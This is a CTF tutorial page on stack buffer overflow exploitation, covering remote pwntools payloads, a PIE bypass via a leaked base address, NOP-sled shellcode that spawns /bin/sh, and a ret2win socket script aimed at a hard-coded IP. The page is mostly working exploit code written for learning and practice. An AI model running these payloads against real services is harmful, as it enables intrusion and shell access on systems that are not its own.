> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-15/buffer-overflow/pwn-buffer-overflow-stack-overflow.md).

# Stack Overflow

## Networked Stack Buffer Overflow

Apply a standard stack buffer overflow against a network service instead of a local process via standard input. This is typically done using a library like `pwntools` to establish a remote connection and send the crafted payload.

`pwntools` is a CTF framework and exploit development library. It simplifies tasks like connecting to services, sending/receiving data, packing/unpacking values, and interacting with processes.

To connect to a remote service, use the `remote` function, specifying the host and port. You can send data with `send` and `sendline`. Use `sendline` if the service expects input terminated by a newline character. You can receive data with functions like `recv`, `recvline`, `recvuntil`, or `recvn`.

The payload consists of padding to fill the vulnerable buffer followed by the target address (e.g., function address, ROP gadget address) where execution should be redirected. The example below uses `0xdeadbeef` as a placeholder target address for a 32-bit service with a 32-byte buffer.

Packing integers is done with `p32` for 32-bit values and `p64` for 64-bit values. These functions handle the necessary endianness (typically little-endian on x86/x64) for addresses.

```python
from pwn import *

# Set the target architecture and operating system (optional but good practice)
# For 32-bit: context.update(arch='i386', os='linux')
# For 64-bit: context.update(arch='amd64', os='linux')
# context.log_level = 'info' # Uncomment for verbose output

# Connect to the remote service
# Replace '127.0.0.1' and 1337 with the actual target host and port
conn = remote('127.0.0.1', 1337)

# Receive initial data (optional, but often needed to stabilize connection or bypass prompts)
# Use recvuntil() if you expect a specific prompt string
# conn.recvuntil(b'Enter input: ')
# Or use recv() or recvn() for a fixed amount of data
# print(conn.recvn(18))

# Craft the payload: padding + target address
# For a 32-bit service, padding is typically 'A' * vulnerable_buffer_size
# Target address is packed using p32()
padding_size = 32
padding = b"A" * padding_size
target_address = p32(0xdeadbeef) # Placeholder address for 32-bit
payload = padding + target_address

# Example for a 64-bit service (using p64 and potentially different padding size)
# padding_size_64 = 40 # Example padding size for 64-bit
# padding_64 = b"A" * padding_size_64
# target_address_64 = p64(0x40123b) # Placeholder address for 64-bit
# payload_64 = padding_64 + target_address_64

# Send the payload
# Use sendline() if the input expects a newline
conn.sendline(payload)
# Or use send() if no newline is needed
# conn.send(payload)

# After sending the exploit, you might need to receive data (like a flag)
# print(conn.recvall().decode()) # Receive all remaining data and decode

# Or, if the exploit gives you a shell, use interactive()
# This allows you to interact with the remote process directly
# conn.interactive()

# Close the connection
conn.close()
```

Padding length and the packing function (`p32` for 32-bit, `p64` for 64-bit) depend on the architecture and buffer size of the target service. The `context.update` function is useful for setting the target architecture (`arch`) and operating system (`os`), which helps `pwntools` functions like `p32` and `p64` behave correctly and enables other architecture-specific features. The `interactive()` function is commonly used after a successful exploit redirects execution to a shell or a function that spawns one, allowing direct command execution on the remote system.

***

## Partial PIE Bypass Via Return Address Overwrite

Position Independent Executables (PIE) randomize the binary's base address upon execution, preventing direct jumps to hardcoded addresses. However, the relative offsets between code locations (functions, gadgets) within the binary remain constant.

If the runtime base address of the binary can be determined (e.g., via a leak on the stack disclosing a return address into the binary), execution flow can be redirected despite PIE. The trick is to overwrite a return address (or other control flow pointer) with the calculated absolute address of a desired target location: `base_address + relative_offset`. The `relative_offset` is the known distance from the binary's base to the target code (e.g., the start of `main`, a specific gadget).

To bypass PIE, we need to leak an address from the binary itself. Once we have a leaked address, we can calculate the base address of the binary by subtracting the offset of the leaked address from the base address. Once we have the base address, we can calculate the address of any function or gadget within the binary by adding its offset to the base address.

Using tools like `pwntools`, the offset of a function or symbol can often be obtained directly from the ELF file using `elf.sym['function_name']` or `elf.symbols['function_name']`. The base address after a leak can be calculated as `base_address = leaked_address - offset_of_leaked_address`. Then, the address of a desired target function (e.g., `win`) is `target_address = base_address + offset_of_target_address`.

An example payload to achieve this via a buffer overflow might look like:

```python
from pwn import *

# Assume 'base_address' is the leaked/known runtime base address
# Assume 'offset_to_near_main_end + 0x4e' is the specific relative offset
# to the desired execution target from the binary's base.
overflow_offset = 78 # Offset to overwrite the return address

payload = b"A" * overflow_offset
payload += p64(base_address + offset_to_near_main_end + 0x4e)
payload += b"\x00" # Optional: for specific program logic requirements
```

A more complete example demonstrating the process using `pwntools` might involve connecting to the process, receiving a leaked address (e.g., from the stack), calculating the base, and then calculating the target address before sending the payload:

```python
from pwn import *

# Set up the target process
# p = process('./vulnerable_program') # Local
# p = remote('hostname', port) # Remote

# Load the ELF file to get symbol offsets
# elf = ELF('./vulnerable_program')

# --- Example Leak and Calculation (replace with actual exploit logic) ---
# Assuming a leak provides an address within the binary
# leaked_address = u64(p.recvuntil(...) + b'\x00'*(8-len(...)))

# Find the offset of the leaked address within the binary
# offset_of_leaked_address = leaked_address - elf.address # If leak is elf.address
# Or find the offset of a known symbol if the leak is that symbol's address
# offset_of_leaked_symbol = elf.symbols['leaked_symbol_name']

# Calculate the base address of the binary in memory
# base_address = leaked_address - offset_of_leaked_symbol

# Get the offset of the target function (e.g., 'win')
# offset_of_target_function = elf.symbols['win']

# Calculate the absolute address of the target function
# target_address = base_address + offset_of_target_function
# ---------------------------------------------------------------------

# Assuming target_address is calculated from the leak
# target_address = ... # Calculated based on leak and offsets from ELF

# Offset to return address from start of buffer
# buffer_size = 64
# return_address_offset = buffer_size + 8 # Example: 64 bytes buffer + 8 bytes saved RBP

# Construct the payload
# payload = b'A' * return_address_offset
# payload += p64(target_address)

# Send the payload
# p.sendline(payload)

# Interact with the process (optional)
# p.interactive()
```

By calculating the target address using the runtime `base_address` and a known `relative_offset`, the execution flow can be precisely controlled to jump back into the program's code, enabling further exploitation stages or bypassing PIE protections for specific jumps. The "partial" aspect often refers to not having a full arbitrary read/write or a full library leak, but just enough information (like the base address) to redirect flow within the target binary itself.

***

## Stack Buffer Overflow (Shellcode)

Exploiting a stack buffer overflow to inject and execute shellcode on a 32-bit target involves constructing a payload that overwrites the return address (EIP) to point into a NOP slide placed on the stack, which is immediately followed by the shellcode. The NOP slide ensures that execution reaches the shellcode regardless of the exact jump address within the slide.

Pwntools is a Python library designed for writing exploits and automating different parts of exploit development. It provides tools for interacting with processes, crafting payloads, and more.

Identifying the exact amount of padding needed to reach the return address is crucial. Pwntools provides the `cyclic` and `cyclic_find` functions for this. You send a unique cyclic pattern to the vulnerable program, cause a crash, and then use `cyclic_find` with the value found in the EIP register to determine the offset.

```python
from pwn import *

# Generate a cyclic pattern of length 200 (adjust length as needed)
pattern = cyclic(200)
print(pattern)

# Send this pattern to the vulnerable program and observe the crash.
# The value in the EIP register at the crash will be part of this pattern.
# Use cyclic_find() with the EIP value to get the offset.
# Example: if EIP is 0x6161616a ('jaaa' little-endian)
offset = cyclic_find(b"jaaa")
print(f"Offset found at: {offset}")

# This offset is the padding length.
```

Once the offset is determined, the payload structure can be constructed. The payload structure is typically `Padding + New EIP + NOPs + Shellcode`. Using `pwntools`, you can construct this as follows:

```python
from pwn import *

# Assuming a 32-bit binary vulnerable via gets() or similar
# Replace './intro2pwnFinal' with the path to the target binary
# Use process() to start the vulnerable program
proc = process('./intro2pwnFinal')

# Receive initial banner or prompt if any, before sending input
# Adjust '...' based on the specific program's output if necessary
# proc.recvuntil(...)

# Determine padding length to overwrite the return address (EIP)
# Use the offset found previously using cyclic_find
# Replace 'taaa' with the cyclic pattern found at the crash EIP
offset = cyclic_find(b'taaa') # Example offset finding
padding = b"A" * offset # Padding fills the buffer up to the EIP

# Calculate the target EIP - this MUST be an address on the stack
# within the NOP slide. Requires a known stack address (disabled ASLR or leaked).
# p32() packs the integer address into a 4-byte little-endian string for 32-bit targets.
# Replace 0xffffd510 with a reliable stack address relative to the NOP slide start
stack_base = 0xffffd510 # Example base stack address
# Adjust offset (200) to land within the NOP slide
eip_target = p32(stack_base + 200)

# Add a NOP slide as a landing pad for the EIP jump
# The NOP sled allows the program execution to slide down into the shellcode.
# Adjust the size (1000) based on buffer space and reliability needs
nop_slide = b"\x90" * 1000

# Define the shellcode (example: execve('/bin/sh'))
# This shellcode must be compatible with the target architecture (i386) and OS (Linux)
# Generate using pwntools.shellcraft or external tools if needed
shellcode = b"jhh\x2f\x2f\x2fsh\x2fbin\x89\xe3jph\x01\x01\x01\x01\x814\x24ri\x01,1\xc9Qj\x07Y\x01\xe1Qj\x08Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80" # Original shellcode

# Construct the final payload: Padding + EIP + NOPs + Shellcode
# The payload structure is typically padding + return address + nopsled + shellcode
payload = padding + eip_target + nop_slide + shellcode

# Send the crafted payload to the process
# Use sendline() to send the payload followed by a newline
proc.sendline(payload)

# Switch to interactive mode to use the granted shell
proc.interactive()
```

This technique relies on the ability to reliably predict or leak a stack address to calculate the target EIP for the jump. Padding fills the buffer up to the return address, which is then overwritten with the address pointing into the NOP slide. The shellcode is placed immediately after the NOPs so that execution flows directly into it after the NOPs are executed.

***

## Stack Buffer Overflow Ret2win

To exploit a stack buffer overflow for ret2win, construct a payload by sending enough padding to reach the return address on the stack, followed by the packed address of the desired function.

The offset required and the target function's address must be determined beforehand (e.g., via debugging or analysis). For a 64-bit target, pack the address as a little-endian unsigned long long (`<Q`).

The `struct` module in Python’s standard library is used to work with binary data, allowing conversion between Python values and C struct representations. This is particularly useful when dealing with network protocols or file formats that use fixed-size binary data, as it performs conversions between Python values and C structs represented as Python `bytes` objects. The `struct.pack()` function is used to convert Python values into a binary string according to a specified format string. The format string describes how the data should be packed and is made up of format characters specifying the data type. The first argument to `struct.pack()` is the format string, and the subsequent arguments are the values to be packed.

In the format string `<Q`, the `<` indicates little-endian byte order. The `Q` represents an unsigned long long, which is 8 bytes in size. This format is suitable for packing a 64-bit address in little-endian format for a typical x86-64 architecture.

The following Python script demonstrates this by connecting to a target, sending 72 bytes of padding followed by the packed 64-bit address `0x401166`, which is the address of the function to execute.

```python
import socket
import struct

address = 0x401166 # Target function address
address_bytes = struct.pack("<Q", address) # Pack address for 64-bit little-endian

payload = b"A" * 72 + address_bytes + b"\n" # 72 bytes padding + return address

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("34.162.142.123", 5000))

while True:
 response = s.recv(4096).decode('utf-8')
 print(response, end='')
 if "Enter some text:" in response:
 break

print("[*] Sending payload...")
s.sendall(payload)

data = s.recv(4096)
print("Received:", data.decode('utf-8'))
s.close()
```

This script sends the crafted payload, overwriting the return address on the stack to divert execution flow to the `0x401166` address, typically resulting in the execution of a "win" or flag function.
